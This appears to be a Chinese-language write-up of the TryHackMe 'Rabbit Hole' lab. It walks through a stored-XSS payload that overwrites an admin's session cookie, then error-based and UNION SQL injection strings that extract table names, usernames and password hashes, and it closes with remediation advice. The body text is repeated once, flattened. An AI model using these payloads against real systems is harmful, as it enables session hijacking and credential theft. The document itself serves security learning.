Rabbit Hole TryHackMe
字数 2775 2025-10-13 22:56:21

TryHackMe “Rabbit Hole” 挑战教学文档

文档概述

本教学文档基于 TryHackMe 的 “Rabbit Hole” 实战挑战,详细讲解了一个结合了 XSS(跨站脚本攻击)SQL注入 的经典漏洞链利用案例。核心攻击路径是:通过一个存储型XSS漏洞窃取管理员会话,然后在管理员访问的页面中挖掘并利用SQL注入漏洞,最终从数据库提取敏感信息。

目标环境:一个存在多个漏洞的Web应用程序。
核心知识点:信息收集、XSS、Cookie会话管理、SQL注入(基于错误的注入、UNION查询)。
技术栈:PHP、MariaDB/MySQL。


第一阶段:信息收集与初步侦查

  1. 端口扫描

    • 操作:使用 nmap 等工具对目标进行端口扫描。
    • 结果:确认目标开放了HTTP服务(端口80)。这是后续所有攻击的入口点。
  2. Web应用探测

    • 访问80端口:发现一个Web应用。
    • 发现关键端点
      • /login.php: 用户登录页面。提示“不能使用暴力破解”,暗示此处可能存在账户锁定或其他防御机制。
      • /register.php: 用户注册页面。这是获取初始访问权限的关键。
    • 参数识别:通过拦截登录请求,发现login.php使用POST方法传递参数 usernamepassword

第二阶段:获取立足点 - 利用XSS劫持管理员会话

这是本挑战最精妙的部分,涉及一个多步骤的攻击链。

  1. 注册普通用户

    • 操作:通过 /register.php 页面注册一个新账号(例如,用户名为 test)。
    • 目的:获得一个合法的应用程序身份,以便访问登录后的功能。
  2. 登录后发现关键信息

    • 登录后观察
      • 页面显示了当前登录的用户名(例如,“Welcome, test”)。
      • 页面提示,除了自己创建的账号外,系统中还存在其他3个账号,其中一个是 admin
      • 核心发现:系统存在一个存储型XSS漏洞,因为用户名在未经过滤的情况下被直接输出到HTML页面中。
    • 另一个关键发现(会话管理缺陷)
      • 作者发现,在多次登录和退出后,会话Cookie(PHPSESSID)保持不变
      • 更重要的提示是:admin账号会每分钟自动登录一次。这意味着admin会定期触发任何存储在其视图中的XSS payload。
  3. 构造XSS Payload劫持会话

    • 攻击逻辑:由于admin会定期访问页面,并且页面会显示所有用户名,我们可以将用户名修改为一个恶意的JavaScript代码。当admin登录时,该代码会在其浏览器中执行,从而将admin的会话Cookie替换为我们已知的Cookie值。这样,我们就能以admin身份登录。
    • Payload 构造
      <script>
        document.cookie = "PHPSESSID=已知的会话ID; path=/";
        location.reload(); // 可选:重新加载页面以确保新会话ID生效
      </script>
      
    • 攻击步骤
      1. 将用户名修改为上述XSS Payload。这里的“已知的会话ID”是攻击者(我们)自己当前会话的 PHPSESSID 值。
      2. 等待最多一分钟,admin账号自动登录。admin浏览器执行我们的XSS代码,将其会话Cookie篡改成我们的Cookie。
      3. 此时,在浏览器中,我们仍然使用原来的会话。由于admin的会话已经被我们“劫持”(变成了和我们一样的值),我们刷新页面或重新访问应用,就会以admin权限登录。

第三阶段:权限提升与数据提取 - 利用SQL注入

在以admin身份登录后,攻击进入下一阶段。

  1. 发现SQL注入点

    • 位置:在admin才能访问的某个功能页面中(通常是用户查询或日志查看等功能)。
    • 探测:作者通过提交参数 1" 进行测试,触发了数据库错误。这表明注入点存在,并且使用双引号作为字符串分隔符。这是一个基于错误的SQL注入
  2. 利用SQL注入进行信息收集

    • 步骤1:确认字段数
      • Payload: 1" UNION SELECT 1,2 --
      • 分析:使用 UNION SELECT 需要前后查询的列数一致。通过不断增加 SELECT 后的数字,直到页面正常回显,确定查询结果为2列。
    • 步骤2:利用updatexml进行错误回显注入
      • 由于页面可能不直接显示UNION查询的结果,可以利用MariaDB/MySQL的 updatexml 函数触发错误,并将查询结果带到错误信息中。
      • 爆数据库名
        1" and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- +
        
        • 0x7e 是波浪号 ~ 的十六进制,用于在错误信息中清晰地分隔出我们想要的数据。
      • 爆表名
        1" and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) -- +
        
        • 结果:得到表名 userslogins
      • 爆字段名(列名)
        1" and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1) -- +
        
        • 结果:得到 users 表的列,如 username, password 等。
  3. 提取敏感数据(用户名和密码)

    • 爆用户名
      1" and updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1) -- +
      
      • 结果~admin,foo,bar,1...(由于 updatexml 的长度限制,显示不全)。
    • 爆密码哈希
      1" and updatexml(1, concat(0x7e, (select group_concat(password) from users), 0x7e), 1) -- +
      
      • 结果:得到不完整的密码哈希串,如 ~0e3ab8e45ac1163c2343990e427c...
    • 解决显示限制:使用 substringmid 函数分段获取完整数据。
      1" UNION SELECT 1, SUBSTRING((SELECT group_concat(password) FROM users), 1, 50) -- +
      
      • 通过改变 SUBSTRING 的起始位置和长度,可以逐段获取所有用户的密码哈希值。

漏洞总结与修复建议

漏洞类型 危害 修复建议
存储型XSS 攻击者可劫持其他用户(包括管理员)会话,执行恶意操作。 对所有用户输入进行严格的输出编码(如HTML转义)。使用内容安全策略(CSP)。
不安全的会话管理 会话ID固定不变,容易被劫持后长期利用。 实现会话轮换,用户登录后和权限变更时生成新的会话ID。
SQL注入 攻击者可读取、修改、删除数据库中的敏感数据。 使用参数化查询(预编译语句),避免直接拼接用户输入到SQL命令中。
信息泄露 提示admin的自动登录行为,为攻击者提供了时间窗口信息。 避免在前端向普通用户透露不必要的系统内部行为。

学习要点与技巧

  1. 漏洞链思维:单一漏洞可能无法直接实现目标,但将多个低危或中危漏洞组合起来(如XSS + 会话缺陷 + SQL注入)可能形成一条完整的高危攻击链。
  2. 耐心观察:成功的渗透测试依赖于对应用行为的细致观察,例如页面回显、错误信息、Cookie变化、系统提示等。
  3. 自动化脚本:文中提到可以编写脚本批量注册和登录,这是一种在真实测试中提高效率的方法。
  4. 利用系统视图information_schema 数据库是SQL注入时枚举数据库结构的强大工具。

此文档完整还原了“Rabbit Hole”挑战的核心技术流程,希望对您的网络安全学习有所帮助。

TryHackMe “Rabbit Hole” 挑战教学文档 文档概述 本教学文档基于 TryHackMe 的 “Rabbit Hole” 实战挑战,详细讲解了一个结合了 XSS(跨站脚本攻击) 和 SQL注入 的经典漏洞链利用案例。核心攻击路径是:通过一个存储型XSS漏洞窃取管理员会话,然后在管理员访问的页面中挖掘并利用SQL注入漏洞,最终从数据库提取敏感信息。 目标环境 :一个存在多个漏洞的Web应用程序。 核心知识点 :信息收集、XSS、Cookie会话管理、SQL注入(基于错误的注入、UNION查询)。 技术栈 :PHP、MariaDB/MySQL。 第一阶段:信息收集与初步侦查 端口扫描 操作 :使用 nmap 等工具对目标进行端口扫描。 结果 :确认目标开放了HTTP服务(端口80)。这是后续所有攻击的入口点。 Web应用探测 访问80端口 :发现一个Web应用。 发现关键端点 : /login.php : 用户登录页面。提示“不能使用暴力破解”,暗示此处可能存在账户锁定或其他防御机制。 /register.php : 用户注册页面。这是获取初始访问权限的关键。 参数识别 :通过拦截登录请求,发现 login.php 使用POST方法传递参数 username 和 password 。 第二阶段:获取立足点 - 利用XSS劫持管理员会话 这是本挑战最精妙的部分,涉及一个多步骤的攻击链。 注册普通用户 操作 :通过 /register.php 页面注册一个新账号(例如,用户名为 test )。 目的 :获得一个合法的应用程序身份,以便访问登录后的功能。 登录后发现关键信息 登录后观察 : 页面显示了当前登录的用户名(例如,“Welcome, test”)。 页面提示,除了自己创建的账号外,系统中还存在其他3个账号,其中一个是 admin 。 核心发现 :系统存在一个 存储型XSS漏洞 ,因为用户名在未经过滤的情况下被直接输出到HTML页面中。 另一个关键发现(会话管理缺陷) : 作者发现,在多次登录和退出后, 会话Cookie(PHPSESSID)保持不变 。 更重要的提示是: admin账号会每分钟自动登录一次 。这意味着admin会定期触发任何存储在其视图中的XSS payload。 构造XSS Payload劫持会话 攻击逻辑 :由于admin会定期访问页面,并且页面会显示所有用户名,我们可以将用户名修改为一个恶意的JavaScript代码。当admin登录时,该代码会在其浏览器中执行,从而将admin的会话Cookie替换为我们已知的Cookie值。这样,我们就能以admin身份登录。 Payload 构造 : 攻击步骤 : 将用户名修改为上述XSS Payload。这里的“已知的会话ID”是攻击者(我们)自己当前会话的 PHPSESSID 值。 等待最多一分钟,admin账号自动登录。admin浏览器执行我们的XSS代码,将其会话Cookie篡改成我们的Cookie。 此时,在浏览器中,我们仍然使用原来的会话。由于admin的会话已经被我们“劫持”(变成了和我们一样的值),我们刷新页面或重新访问应用,就会以admin权限登录。 第三阶段:权限提升与数据提取 - 利用SQL注入 在以admin身份登录后,攻击进入下一阶段。 发现SQL注入点 位置 :在admin才能访问的某个功能页面中(通常是用户查询或日志查看等功能)。 探测 :作者通过提交参数 1" 进行测试,触发了数据库错误。这表明注入点存在,并且使用 双引号 作为字符串分隔符。这是一个 基于错误的SQL注入 。 利用SQL注入进行信息收集 步骤1:确认字段数 Payload : 1" UNION SELECT 1,2 -- 分析 :使用 UNION SELECT 需要前后查询的列数一致。通过不断增加 SELECT 后的数字,直到页面正常回显,确定查询结果为2列。 步骤2:利用 updatexml 进行错误回显注入 由于页面可能不直接显示UNION查询的结果,可以利用MariaDB/MySQL的 updatexml 函数触发错误,并将查询结果带到错误信息中。 爆数据库名 : 0x7e 是波浪号 ~ 的十六进制,用于在错误信息中清晰地分隔出我们想要的数据。 爆表名 : 结果 :得到表名 users 和 logins 。 爆字段名(列名) : 结果 :得到 users 表的列,如 username , password 等。 提取敏感数据(用户名和密码) 爆用户名 : 结果 : ~admin,foo,bar,1... (由于 updatexml 的长度限制,显示不全)。 爆密码哈希 : 结果 :得到不完整的密码哈希串,如 ~0e3ab8e45ac1163c2343990e427c... 。 解决显示限制 :使用 substring 或 mid 函数分段获取完整数据。 通过改变 SUBSTRING 的起始位置和长度,可以逐段获取所有用户的密码哈希值。 漏洞总结与修复建议 | 漏洞类型 | 危害 | 修复建议 | | :--- | :--- | :--- | | 存储型XSS | 攻击者可劫持其他用户(包括管理员)会话,执行恶意操作。 | 对所有用户输入进行严格的输出编码(如HTML转义)。使用内容安全策略(CSP)。 | | 不安全的会话管理 | 会话ID固定不变,容易被劫持后长期利用。 | 实现会话轮换,用户登录后和权限变更时生成新的会话ID。 | | SQL注入 | 攻击者可读取、修改、删除数据库中的敏感数据。 | 使用参数化查询(预编译语句),避免直接拼接用户输入到SQL命令中。 | | 信息泄露 | 提示admin的自动登录行为,为攻击者提供了时间窗口信息。 | 避免在前端向普通用户透露不必要的系统内部行为。 | 学习要点与技巧 漏洞链思维 :单一漏洞可能无法直接实现目标,但将多个低危或中危漏洞组合起来(如XSS + 会话缺陷 + SQL注入)可能形成一条完整的高危攻击链。 耐心观察 :成功的渗透测试依赖于对应用行为的细致观察,例如页面回显、错误信息、Cookie变化、系统提示等。 自动化脚本 :文中提到可以编写脚本批量注册和登录,这是一种在真实测试中提高效率的方法。 利用系统视图 : information_schema 数据库是SQL注入时枚举数据库结构的强大工具。 此文档完整还原了“Rabbit Hole”挑战的核心技术流程,希望对您的网络安全学习有所帮助。